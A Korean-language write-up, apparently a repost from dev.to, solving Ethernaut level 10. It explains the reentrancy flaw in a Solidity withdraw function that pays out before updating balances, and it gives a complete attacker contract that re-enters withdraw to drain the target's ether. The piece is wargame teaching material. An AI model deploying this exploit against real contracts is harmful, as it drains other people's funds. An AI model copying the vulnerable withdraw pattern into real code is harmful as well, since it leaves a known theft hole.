Ethernaut: 10. 재진입
11235 단어 ethereumopenzeppelinsecuritysolidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
Solidity에는 Checks - Effects - Interactions이라는 패턴이 있습니다. 원래:
1. 잔액 확인과 같은 작업을 수행할 수 있는지 확인합니다.
2. 잔액 업데이트와 같이 계약에 미치는 영향을 적용합니다.
3. 돈을 이체하는 것과 같이 다른 사람과 실제 상호 작용을 체인에서 수행합니다.
이 경우 함수는
withdraw
이지만 상호작용이 효과보다 먼저 옵니다. 이것은 우리가 withdraw
내에서 돈을 받을 때 프로그램이 withdraw
기능으로 돌아가 효과를 낼 때까지 잠시 우리가 통제할 수 있다는 것을 의미합니다. 통제권을 갖게 되면 withdraw
를 한 번 더 호출할 수 있으며 동일한 일이 반복해서 발생합니다.이 게임에서 인스턴스를 생성하면 다음을 확인할 수 있습니다.
-
await getBalance(contract.address)
는 0.001 에테르입니다.-
await contract.balanceOf(player)
는 0입니다.우리는
balances[msg.sender] >= _amount
가 사실이 되도록 목표에 초기 잔액을 만들기 위해 약간의 돈을 기부할 것입니다. 이제 인출 기능을 다시 입력하여 해당 금액을 반복적으로 인출할 수 있습니다. 잔액 업데이트 효과는 이체 상호 작용 후에 발생하므로 잔액이 고갈될 때까지 계속됩니다. 우리는 그들에게 지불합니다.// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
// Interface of the target contract
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}
contract Attacker {
address public owner;
IReentrance targetContract;
uint targetValue = 0.001 ether;
constructor(address payable _targetAddr) payable {
targetContract = IReentrance(_targetAddr);
owner = msg.sender;
}
// withdraw money from this contract
function withdraw() public {
require(msg.sender == owner, "Only the owner can withdraw.");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to withdraw.");
}
// begin attack by depositing and withdrawing
function attack() public payable {
require(msg.value >= targetValue);
targetContract.donate{value:msg.value}(address(this));
targetContract.withdraw(msg.value);
targetValue = msg.value;
}
receive() external payable {
uint targetBalance = address(targetContract).balance;
if (targetBalance >= targetValue) {
// withdraw at most your balance at a time
targetContract.withdraw(targetValue);
} else if (targetBalance > 0) {
// withdraw the remaining balance in the contract
targetContract.withdraw(targetBalance);
}
}
}
이것이 "The DAO"해킹이 실행된 방식이며, 그 결과 Ethereum Classic이 탄생했습니다. 두 줄의 잘못된 배치가 백만 달러짜리 해킹을 일으켰다고 생각하니 정말 놀랍습니다!
Reference
이 문제에 관하여(Ethernaut: 10. 재진입), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/erhant/ethernaut-10-reentrancy-478l텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)